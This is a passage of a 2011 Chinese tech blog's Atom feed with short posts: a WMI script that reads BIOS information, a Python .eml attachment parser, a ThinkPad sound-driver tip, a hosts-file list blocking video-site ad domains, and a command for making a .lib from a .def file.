xmlns:media="http://search.yahoo.com/mrss/" url="https://lh6.googleusercontent.com/-JuSta0fpLho/TXuLGcjdhNI/AAAAAAAAAvw/bBK5Lhpg-Wo/s72-c/boot.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/03/windows-7-windows-xp.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkAGR3kyfip7ImA9Wx9aFkQ.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-7471487620478069637</id><published>2011-03-09T09:11:00.000-08:00</published><updated>2011-03-09T09:12:06.796-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-09T09:12:06.796-08:00</app:edited><title>wmi 读取BIOS信息 （一）</title><content type="html">strComputer = "."&lt;br /&gt;
Set objWMIService = GetObject("winmgmts:\\" &amp;amp; strComputer &amp;amp; "\root\WMI") &lt;br /&gt;
Set colItems = objWMIService.ExecQuery("SELECT * FROM MS_SystemInformation") &lt;br /&gt;
For Each objItem In colItems &lt;br /&gt;
WScript.Echo "Active: " &amp;amp; objItem.Active&amp;nbsp; &amp;amp; vbcrlf _&lt;br /&gt;
&amp;amp; "BaseBoardManufacturer: " &amp;amp; objItem.BaseBoardManufacturer &amp;amp; vbcrlf _&lt;br /&gt;
&amp;amp; "BaseBoardProduct: " &amp;amp; objItem.BaseBoardProduct &amp;amp; vbcrlf _&lt;br /&gt;
&amp;amp; "BaseBoardVersion: " &amp;amp; objItem.BaseBoardVersion &amp;amp; vbcrlf _&lt;br /&gt;
&amp;amp; "BIOSReleaseDate: " &amp;amp; objItem.BIOSReleaseDate &amp;amp; vbcrlf _&lt;br /&gt;
&amp;amp; "BIOSVendor: " &amp;amp; objItem.BIOSVendor &amp;amp; vbcrlf _&lt;br /&gt;
&amp;amp; "BIOSVersion: " &amp;amp; objItem.BIOSVersion &amp;amp; vbcrlf _&lt;br /&gt;
&amp;amp; "InstanceName: " &amp;amp; objItem.InstanceName &amp;amp; vbcrlf _&lt;br /&gt;
&amp;amp; "SystemManufacturer: " &amp;amp; objItem.SystemManufacturer &amp;amp; vbcrlf _&lt;br /&gt;
&amp;amp; "SystemProductName: " &amp;amp; objItem.SystemProductName &amp;amp; vbcrlf _&lt;br /&gt;
&amp;amp; "SystemVersion: " &amp;amp; objItem.SystemVersion &amp;amp; vbcrlf&lt;br /&gt;
Next &lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------------------------------------------&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Active: True&lt;br /&gt;
BaseBoardManufacturer: LENOVO&lt;br /&gt;
BaseBoardProduct: 2007ET2&lt;br /&gt;
BaseBoardVersion: Not Available&lt;br /&gt;
BIOSReleaseDate: 04/01/2010&lt;br /&gt;
BIOSVendor: LENOVO&lt;br /&gt;
BIOSVersion: 79ETE6WW (2.26 )&lt;br /&gt;
InstanceName: Root\mssmbios\0000_0&lt;br /&gt;
SystemManufacturer: LENOVO&lt;br /&gt;
SystemProductName: 2007ET2&lt;br /&gt;
SystemVersion: ThinkPad T60&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-7471487620478069637?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1ly-OcLv1UnClkkwuBL2M8momHo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1ly-OcLv1UnClkkwuBL2M8momHo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1ly-OcLv1UnClkkwuBL2M8momHo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1ly-OcLv1UnClkkwuBL2M8momHo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/WoLATgwMSH0" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=7471487620478069637" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7471487620478069637?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7471487620478069637?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/WoLATgwMSH0/wmi-bios.html" title="wmi 读取BIOS信息 （一）" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/03/wmi-bios.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0UDRHsycSp7ImA9Wx9bGEs.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-6421841414401191871</id><published>2011-02-27T18:46:00.000-08:00</published><updated>2011-02-27T18:47:55.599-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-27T18:47:55.599-08:00</app:edited><title>python eml parse</title><content type="html">#! /usr/bin/python&lt;br /&gt;
#coding:utf-8&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import email&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
def parseeml(filename):&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; print 'parse file =&amp;gt; %s' % filename&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; try:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fp = open(filename, "r")&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; msg = email.message_from_file(fp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; except:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print 'file %s not exist' % filename&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; From = msg.get('From')&lt;br /&gt;
&amp;nbsp; &amp;nbsp; if not From:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print 'file %s is not a mime format' % filename&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fp.close()&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; # 循环信件中的每一个mime的数据块&lt;br /&gt;
&amp;nbsp; &amp;nbsp; for par in msg.walk():&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if not par.is_multipart():&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; content_type = ''&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; content_type = par.get_content_type()&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print content_type&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; name = par.get_param("name") #如果是附件&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # 有附件&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if name:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # 下面的三行代码只是为了解码象=?gbk?Q?=CF=E0=C6=AC.rar?=&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # 这样的文件名&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; h = email.Header.Header(name)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dh = email.Header.decode_header(h)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; charset = dh[0][1]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fname = dh[0][0]&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if charset:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fname = fname.decode(charset).encode('utf-8')&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print '附件名:', fname&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data = par.get_payload(decode=True) #　解码出附件数据&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; f = open(fname, 'wb')&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; f.write(data)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; f.close()&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fp.close()&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; parseeml(fname)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # 无附件&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if 'text/html' in content_type:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; f3 = open(filename + '.html', 'wb')&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; elif 'text/plain' in content_type:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; f3 = open(filename + '.txt', 'w')&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; f3.write(par.get_payload(decode=True)) # 解码出文本内容&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; f3.close()&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fp.close()&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print '+'*60 # 用来区别各个部分的输出&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
&amp;nbsp; &amp;nbsp; if len(sys.argv) &amp;lt; 2:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print 'emlparse.py file'&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; parseeml(sys.argv[1])&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-6421841414401191871?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/d7SsC-fKdWpLL-O1Q9PCbx_qjnY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/d7SsC-fKdWpLL-O1Q9PCbx_qjnY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/d7SsC-fKdWpLL-O1Q9PCbx_qjnY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/d7SsC-fKdWpLL-O1Q9PCbx_qjnY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/QnUB9FERrf0" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=6421841414401191871" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/6421841414401191871?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/6421841414401191871?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/QnUB9FERrf0/python-eml-parse.html" title="python eml parse" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/02/python-eml-parse.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUMQHw8eCp7ImA9Wx9bE0U.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-679338728618902356</id><published>2011-02-22T06:18:00.000-08:00</published><updated>2011-02-22T06:18:01.270-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-22T06:18:01.270-08:00</app:edited><title>Thinkpad T60 windows 7 声卡驱动</title><content type="html">Windows 7 自带的声卡驱动有问题， 可以使用lenovo vista的驱动。&lt;br /&gt;
更换后声卡问题解决。 &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://think.lenovo.com.cn/driver"&gt;&lt;span class="f"&gt;&lt;cite&gt;http://think.lenovo.com.cn/driver&lt;/cite&gt;&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-679338728618902356?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/dY5lugQhV6lJ2omXWfl1pY1xG9I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dY5lugQhV6lJ2omXWfl1pY1xG9I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/dY5lugQhV6lJ2omXWfl1pY1xG9I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dY5lugQhV6lJ2omXWfl1pY1xG9I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/p7MwqPQvBo0" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=679338728618902356" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/679338728618902356?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/679338728618902356?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/p7MwqPQvBo0/thinkpad-t60-windows-7.html" title="Thinkpad T60 windows 7 声卡驱动" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/02/thinkpad-t60-windows-7.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8HRH46eyp7ImA9Wx9bEkQ.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-1716795375004412020</id><published>2011-02-19T07:43:00.000-08:00</published><updated>2011-02-21T06:33:55.013-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-21T06:33:55.013-08:00</app:edited><title>[转]截止目前，去掉优酷、土豆等视频网站15秒广告的最全最简单方法</title><content type="html">&lt;h1 style="font-weight: normal;"&gt;&lt;span style="font-size: small;"&gt;#优酷&lt;br /&gt;
127.0.0.1 atm.youku.com&lt;br /&gt;
127.0.0.1 Fvid.atm.youku.com&lt;br /&gt;
127.0.0.1 html.atm.youku.com&lt;br /&gt;
127.0.0.1 valb.atm.youku.com&lt;br /&gt;
127.0.0.1 valf.atm.youku.com&lt;br /&gt;
127.0.0.1 valo.atm.youku.com&lt;br /&gt;
127.0.0.1 valp.atm.youku.com&lt;/span&gt;&lt;/h1&gt;&lt;h1 style="font-weight: normal;"&gt;&lt;span style="font-size: small;"&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
127.0.0.1 lstat.youku.com&lt;br /&gt;
127.0.0.1 speed.lstat.youku.com&lt;br /&gt;
127.0.0.1 urchin.lstat.youku.com&lt;br /&gt;
127.0.0.1 stat.youku.com&lt;br /&gt;
127.0.0.1 static.lstat.youku.com&lt;br /&gt;
127.0.0.1 valc.atm.youku.com&lt;br /&gt;
127.0.0.1 vid.atm.youku.com&lt;br /&gt;
127.0.0.1 walp.atm.youku.com&lt;br /&gt;
#百度： &lt;br /&gt;
127.0.0.1 a.baidu.com &lt;br /&gt;
127.0.0.1 baidutv.baidu.com &lt;br /&gt;
127.0.0.1 bar.baidu.com &lt;br /&gt;
127.0.0.1 c.baidu.com &lt;br /&gt;
127.0.0.1 cjhq.baidu.com &lt;br /&gt;
127.0.0.1 cpro.baidu.com &lt;br /&gt;
127.0.0.1 drmcmm.baidu.com &lt;br /&gt;
127.0.0.1 e.baidu.com &lt;br /&gt;
127.0.0.1 eiv.baidu.com &lt;br /&gt;
127.0.0.1 hc.baidu.com &lt;br /&gt;
127.0.0.1 hm.baidu.com &lt;br /&gt;
127.0.0.1 ma.baidu.com &lt;br /&gt;
127.0.0.1 nsclick.baidu.com &lt;br /&gt;
127.0.0.1 spcode.baidu.com &lt;br /&gt;
127.0.0.1 tk.baidu.com &lt;br /&gt;
127.0.0.1 union.baidu.com &lt;br /&gt;
127.0.0.1 ucstat.baidu.com &lt;br /&gt;
127.0.0.1 utility.baidu.com &lt;br /&gt;
127.0.0.1 utk.baidu.com &lt;br /&gt;
127.0.0.1 focusbaiduafp.allyes.com&lt;br /&gt;
#奇艺&lt;br /&gt;
127.0.0.1 afp.qiyi.com&lt;br /&gt;
127.0.0.1 focusbaiduafp.allyes.com&lt;br /&gt;
#CNTV&lt;br /&gt;
127.0.0.1 a.cctv.com&lt;br /&gt;
127.0.0.1 a.cntv.cn&lt;br /&gt;
127.0.0.1 ad.cctv.com&lt;br /&gt;
127.0.0.1 d.cntv.cn&lt;br /&gt;
127.0.0.1 adguanggao.eee114.com&lt;br /&gt;
127.0.0.1 cctv.adsunion.com&lt;br /&gt;
#新浪&lt;span class="t_tag" href="http://mac.pcbeta.com/tag.php?name=%CA%D3%C6%B5"&gt;视频&lt;/span&gt;&lt;br /&gt;
127.0.0.1 dcads.sina.com.cn&lt;br /&gt;
#pptv&lt;br /&gt;
127.0.0.1 pp2.pptv.com&lt;br /&gt;
#乐视&lt;br /&gt;
127.0.0.1 pro.letv.com&lt;br /&gt;
#搜狐高清&lt;br /&gt;
127.0.0.1 images.sohu.com&lt;br /&gt;
#我乐网&lt;br /&gt;
127.0.0.1 acs.56.com&lt;br /&gt;
127.0.0.1 acs.agent.56.com&lt;br /&gt;
127.0.0.1 acs.agent.v-56.com&lt;br /&gt;
127.0.0.1 bill.agent.56.com&lt;br /&gt;
127.0.0.1 bill.agent.v-56.com&lt;br /&gt;
127.0.0.1 stat.56.com&lt;br /&gt;
127.0.0.1 stat2.corp.56.com&lt;br /&gt;
127.0.0.1 union.56.com&lt;br /&gt;
127.0.0.1 uvimage.56.com&lt;br /&gt;
127.0.0.1 v16.56.com&lt;br /&gt;
#6间房&lt;br /&gt;
127.0.0.1 pole.6rooms.com&lt;br /&gt;
127.0.0.1 shrek.6.cn&lt;br /&gt;
127.0.0.1 simba.6.cn&lt;br /&gt;
127.0.0.1 union.6.cn&lt;br /&gt;
#土豆网&lt;br /&gt;
127.0.0.1 adextensioncontrol.tudou.com&lt;br /&gt;
127.0.0.1 iwstat.tudou.com&lt;br /&gt;
127.0.0.1 nstat.tudou.com&lt;br /&gt;
127.0.0.1 stats.tudou.com&lt;br /&gt;
127.0.0.1 *.p2v.tudou.com*&lt;br /&gt;
127.0.0.1 at-img1.tdimg.com&lt;br /&gt;
127.0.0.1 at-img2.tdimg.com&lt;br /&gt;
127.0.0.1 at-img3.tdimg.com&lt;br /&gt;
127.0.0.1 adplay.tudou.com&lt;br /&gt;
127.0.0.1 adcontrol.tudou.com&lt;br /&gt;
127.0.0.1 stat.tudou.com&lt;br /&gt;
#酷6网&lt;br /&gt;
127.0.0.1 1.allyes.com.cn&lt;br /&gt;
127.0.0.1 analytics.ku6.com&lt;br /&gt;
127.0.0.1 gug.ku6cdn.com&lt;br /&gt;
127.0.0.1 ku6.allyes.com&lt;br /&gt;
127.0.0.1 ku6afp.allyes.com&lt;br /&gt;
127.0.0.1 pq.stat.ku6.com&lt;br /&gt;
127.0.0.1 st.vq.ku6.cn&lt;br /&gt;
127.0.0.1 stat0.888.ku6.com&lt;br /&gt;
127.0.0.1 stat1.888.ku6.com&lt;br /&gt;
127.0.0.1 stat2.888.ku6.com&lt;br /&gt;
127.0.0.1 stat3.888.ku6.com&lt;br /&gt;
127.0.0.1 static.ku6.com&lt;br /&gt;
127.0.0.1 v0.stat.ku6.com&lt;br /&gt;
127.0.0.1 v1.stat.ku6.com&lt;br /&gt;
127.0.0.1 v2.stat.ku6.com&lt;br /&gt;
127.0.0.1 v3.stat.ku6.com&lt;br /&gt;
#激动网&lt;br /&gt;
127.0.0.1 86file.megajoy.com&lt;br /&gt;
127.0.0.1 86get.joy.cn&lt;br /&gt;
127.0.0.1 86log.joy.cn&lt;br /&gt;
#天线视频&lt;br /&gt;
127.0.0.1 casting.openv.com&lt;br /&gt;
127.0.0.1 m.openv.tv&lt;br /&gt;
127.0.0.1 uniclick.openv.com&lt;br /&gt;
#迅雷看看屏蔽：&lt;br /&gt;
127.0.0.1 mcfg.sandai.net&lt;br /&gt;
127.0.0.1 biz5.sandai.net&lt;br /&gt;
127.0.0.1 server1.adpolestar.net&lt;br /&gt;
127.0.0.1 advstat.xunlei.com&lt;br /&gt;
127.0.0.1 mpv.sandai.net&lt;/span&gt;&lt;/h1&gt;&lt;h1 style="font-weight: normal;"&gt;&lt;span style="font-size: small;"&gt;127.0.0.1 misc.web.xunlei.com&lt;br /&gt;
127.0.0.1 float.sandai.net&lt;/span&gt;&lt;/h1&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-1716795375004412020?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2NKcKsPaUmSJdrgFAdPWITr04wE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2NKcKsPaUmSJdrgFAdPWITr04wE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2NKcKsPaUmSJdrgFAdPWITr04wE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2NKcKsPaUmSJdrgFAdPWITr04wE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/ysVkvZiNSRs" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=1716795375004412020" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/1716795375004412020?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/1716795375004412020?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/ysVkvZiNSRs/15.html" title="[转]截止目前，去掉优酷、土豆等视频网站15秒广告的最全最简单方法" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/02/15.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkcMQHw-eSp7ImA9Wx9bEUw.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-2629746632327630902</id><published>2011-02-19T04:21:00.000-08:00</published><updated>2011-02-19T04:21:21.251-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-19T04:21:21.251-08:00</app:edited><title>.DEF文件生成.lib文件</title><content type="html">call vcvarsall.bat &lt;br /&gt;
&lt;br /&gt;
C:&amp;gt;lib /MACHINE:X86 /DEF:sqlite3.def&lt;br /&gt;
Microsoft (R) Library Manager Version 9.00.21022.08&lt;br /&gt;
Copyright (C) Microsoft Corporation.&amp;nbsp; All rights reserved.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Creating library sqlite3.lib and object sqlite3.exp&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-2629746632327630902?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/yy4SCvGNw8_2max3Q_SOi3vdfYI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yy4SCvGNw8_2max3Q_SOi3vdfYI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/yy4SCvGNw8_2max3Q_SOi3vdfYI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yy4SCvGNw8_2max3Q_SOi3vdfYI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/CgMrOS-33FY" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=2629746632327630902" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/2629746632327630902?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/2629746632327630902?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/CgMrOS-33FY/deflib.html" title=".DEF文件生成.lib文件" /><author><name>zhen 